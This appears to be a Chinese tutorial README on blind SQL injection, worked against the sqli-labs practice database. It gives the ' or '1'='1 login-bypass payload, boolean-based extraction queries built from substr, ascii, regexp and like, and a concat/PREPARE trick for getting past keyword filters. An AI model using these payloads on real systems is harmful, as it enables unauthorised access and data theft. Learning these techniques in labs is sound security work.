SQL盲注
README
乌市素质单男|复读机 基于MYSQL5.0 用于演示的数据库为sqli-labs配套的security数据库的user表
mysql> use security;
Database changed
mysql> show tables ;
+
| Tables_in_security |
+
| emails |
| referers |
| uagents |
| users |
+
4 rows in set ( 0.00 sec)
mysql> select * from users;
+
| id | username | password |
+
| 1 | Dumb | Dumb |
| 2 | Angelina | I- kill - you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob! le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+
13 rows in set ( 0.11 sec)
万能密码原理
'... where username=\'' . $_POST [ 'username' ] . '\';' ;
'... where password=\'' . $_POST [ 'password' ] . '\';' ;
我们传入的是'='
的时候,语句会闭合为username=''=''
,或者传入1' or '1'='1
,语句会闭合为username='1' or '1'='1'
,等号后面的内容恒为真,就达到了登陆的目的
常用函数 or 方法
substr()函数
函数作用:截取字符串 三个参数:substr(str,pos,len) substr(目标字符串,起始位置,截取长度)
mysql> select substr( 'abcd' , 1 , 2 ) ;
+
| substr( 'abcd' , 1 , 2 ) |
+
| ab |
+
1 row in set ( 0.00 sec)
mysql> select substr( 'abcd' , 1 , 1 ) ;
+
| substr( 'abcd' , 1 , 1 ) |
+
| a |
+
1 row in set ( 0.00 sec)
构造布尔表达式,可以用=,>,<,>=,<=
等符号
mysql> select substr( 'abcd' , 1 , 1 ) = 'a' ;
+
| substr( 'abcd' , 1 , 1 ) = 'a' |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select substr( 'abcd' , 1 , 1 ) = 'b' ;
+
| substr( 'abcd' , 1 , 1 ) = 'b' |
+
| 0 |
+
1 row in set ( 0.00 sec)
mysql> select substr( 'abcd' , 1 , 1 ) < 'b' ;
+
| substr( 'abcd' , 1 , 1 ) < 'b' |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select substr( 'abcd' , 2 , 1 ) <= 'b' ;
+
| substr( 'abcd' , 2 , 1 ) <= 'b' |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select substr( 'abcd' , 2 , 1 ) < 'b' ;
+
| substr( 'abcd' , 2 , 1 ) < 'b' |
+
| 0 |
+
mysql> select substr( 'abcdef' , - 1 , 2 ) ;
+
| substr( 'abcdef' , - 1 , 2 ) |
+
| f |
+
1 row in set ( 0.00 sec)
mysql> select substr( database ( ) , 1 , 1 ) = 's' ;
+
| substr( database ( ) , 1 , 1 ) = 's' |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select database ( ) ;
+
| database ( ) |
+
| security |
+
1 row in set ( 0.00 sec)
应用在具体sql注入语句中,我们构造一个查询语句select * from users where username='ss' or (select substr(database(),1,1)='s');
,随机输出一个username,观察回显
mysql> select * from users where username= 'ss' or ( select substr( database ( ) , 1 , 1 ) = 's' ) ;
+
| id | username | password |
+
| 1 | Dumb | Dumb |
| 2 | Angelina | I- kill - you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob! le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+
13 rows in set ( 0.34 sec)
这个语句的逻辑是:第一个条件是username='ss'
,但是数据库中没有一个用户名为ss,第二个条件是select substr(database(),1,1)='s'
,因为数据库名的第一位是s,所以条件二的值为1,条件一与条件二的关系为or,0 or 1=1,所以就会输出全部结果。当条件二为select substr(database(),1,1)='a'
时,就没有回显。
mysql> select * from users where username= '' or ( select substr( database ( ) , 1 , 1 ) = 'a' ) ;
Empty set ( 0.00 sec)
mysql> select * from users where username= 'Dumb' or ( select substr( database ( ) , 1 , 1 ) = 'a' ) ;
+
| id | username | password |
+
| 1 | Dumb | Dumb |
+
1 row in set ( 0.00 sec)
mysql> select * from users where username= 'Dumb' or ( select substr( database ( ) , 1 , 1 ) > 'a' ) ;
+
| id | username | password |
+
| 1 | Dumb | Dumb |
| 2 | Angelina | I- kill - you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob! le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+
13 rows in set ( 0.00 sec)
left()函数
作用和substr的类似,不同点就是,只能从左侧第一位开始 left(str,len) left(目标字符串,截取的长度) 简单测试一下这个函数
mysql> select left ( 'abcdef' , 3 ) ;
+
| left ( 'abcdef' , 3 ) |
+
| abc |
+
1 row in set ( 0.00 sec)
mysql> select left ( database ( ) , 3 ) ;
+
| left ( database ( ) , 3 ) |
+
| sec |
+
1 row in set ( 0.00 sec)
mid()函数
mid(a,b,c) 从b位置开始,截取字符串a的c位 和substr()函数类似 简单测试一下
mysql> select mid ( 'abcdef' , 1 , 1 ) ;
+
| mid ( 'abcdef' , 1 , 1 ) |
+
| a |
+
1 row in set ( 0.00 sec)
mysql> select mid ( 'abcdef' , 1 , 2 ) ;
+
| mid ( 'abcdef' , 1 , 2 ) |
+
| ab |
+
1 row in set ( 0.00 sec)
mysql> select mid ( 'abcdef' , 2 , 2 ) ;
+
| mid ( 'abcdef' , 2 , 2 ) |
+
| bc |
+
1 row in set ( 0.00 sec)
mysql> select mid ( 'abcdef' , - 1 , 2 ) ;
+
| mid ( 'abcdef' , - 1 , 2 ) |
+
| f |
+
1 row in set ( 0.00 sec)
ascii()函数和ord()函数
把字符转为ascii值 ascii(str) ord(str) 在盲注中比较字符和比较字符的ascii值都是可以的 测试一下这两个函数
mysql> select ascii( substr( 'ass' , 1 , 1 ) ) ;
+
| ascii( substr( 'ass' , 1 , 1 ) ) |
+
| 97 |
+
1 row in set ( 0.10 sec)
mysql> select ascii( substr( 'ass' , 1 , 1 ) ) = 97 ;
+
| ascii( substr( 'ass' , 1 , 1 ) ) = 97 |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select ascii( substr( 'ass' , 1 , 1 ) ) = 96 ;
+
| ascii( substr( 'ass' , 1 , 1 ) ) = 96 |
+
| 0 |
+
1 row in set ( 0.00 sec)
mysql> select ascii( substr( 'ass' , 1 , 1 ) ) > 96 ;
+
| ascii( substr( 'ass' , 1 , 1 ) ) > 96 |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select ord( substr( 'ass' , 1 , 1 ) ) ;
+
| ord( substr( 'ass' , 1 , 1 ) ) |
+
| 97 |
+
1 row in set ( 0.00 sec)
mysql> select ord( substr( 'ass' , 1 , 1 ) ) = 97 ;
+
| ord( substr( 'ass' , 1 , 1 ) ) = 97 |
+
| 1 |
+
1 row in set ( 0.00 sec)
regexp正则注入
一般的进行sql注入时都少不了要绕waf,所以多一种姿势,多一丝成功的几率 正则注入时采用正则表达式来匹配查询的结果 语法:select database() regexp ‘^s’#正则表达式
^s
的意思是字符串s开头,其他的正则表达式还需要系统的学习测试一下用法
mysql> select database ( ) regexp '^s' ;
+
| database ( ) regexp '^s' |
+
| 1 |
+
1 row in set ( 0.33 sec)
mysql> select database ( ) regexp '^se' ;
+
| database ( ) regexp '^se' |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select database ( ) regexp '^ae' ;
+
| database ( ) regexp '^ae' |
+
| 0 |
+
1 row in set ( 0.00 sec)
like匹配注入
like 是sql语句中日常使用的语法,注入原理类似于regexp,但是regexp的正则语法更灵活 用法:进行模糊查询,a%
的意思是以a开头的字符串,%a
指以a结尾的字符串,%admin%
值含admin的字符串 注入中的用法测试
mysql> select database ( ) like 's%' ;
+
| database ( ) like 's%' |
+
| 1 |
+
1 row in set ( 0.09 sec)
mysql> select database ( ) like 'se%' ;
+
| database ( ) like 'se%' |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select database ( ) like 'sa%' ;
+
| database ( ) like 'sa%' |
+
| 0 |
+
1 row in set ( 0.00 sec)
比大小的方法
这个方法适用于无列名注入时,禁用一写可用参数时使用 具体用法演示
mysql> select ( select 't' ) > ( select database ( ) ) ;
+
| ( select 't' ) > ( select database ( ) ) |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select ( select 's' ) > ( select database ( ) ) ;
+
| ( select 's' ) > ( select database ( ) ) |
+
| 0 |
+
1 row in set ( 0.00 sec)
mysql> select ( select 'si' ) > ( select database ( ) ) ;
+
| ( select 'si' ) > ( select database ( ) ) |
+
| 1 |
+
1 row in set ( 0.00 sec)
mysql> select ( select 'sd' ) > ( select database ( ) ) ;
+
| ( select 'sd' ) > ( select database ( ) ) |
+
| 0 |
+
1 row in set ( 0.00 sec)
mysql> select ( select 0x74 ) > ( select database ( ) ) ;
+
| ( select 0x74 ) > ( select database ( ) ) |
+
| 1 |
+
1 row in set ( 0.32 sec)
mysql> select ( select 0x73 ) > ( select database ( ) ) ;
+
| ( select 0x73 ) > ( select database ( ) ) |
+
| 0 |
+
concat()函数
作用:字符串连接 适用于一写关键字被禁用,可以用concat()函数绕过 当select语句被过滤时,可以使用SET @t=concat(str,str,str,str) ;PREPARE a from @t ;EXECUTE a ;
函数用法测试
mysql> select concat( 'a' , 'b' , 'rdd' , 'wuhu' ) ;
+
| concat( 'a' , 'b' , 'rdd' , 'wuhu' ) |
+
| abrddwuhu |
+
1 row in set ( 0.00 sec)
mysql> select concat( char ( 115 ) , char ( 114 ) , char ( 113 ) ) ;
+
| concat( char ( 115 ) , char ( 114 ) , char ( 113 ) ) |
+
| srq |
+
1 row in set ( 0.01 sec)
盲注利用
布尔盲注
方案一:使用sqlmap配置参数直接跑,具体参考ichunqiu2020公益赛_简单的招聘系统的解法 方案二:自己编写脚本,具体练习可以通过sqli-labs练习,通过优化脚本的算法可以节省时间,比如二分法等等…
时间盲注
主要用到了sleep()函数或BENCHMARK函数 具体参考ichunqiu2020公益赛_easysqli_copy的解法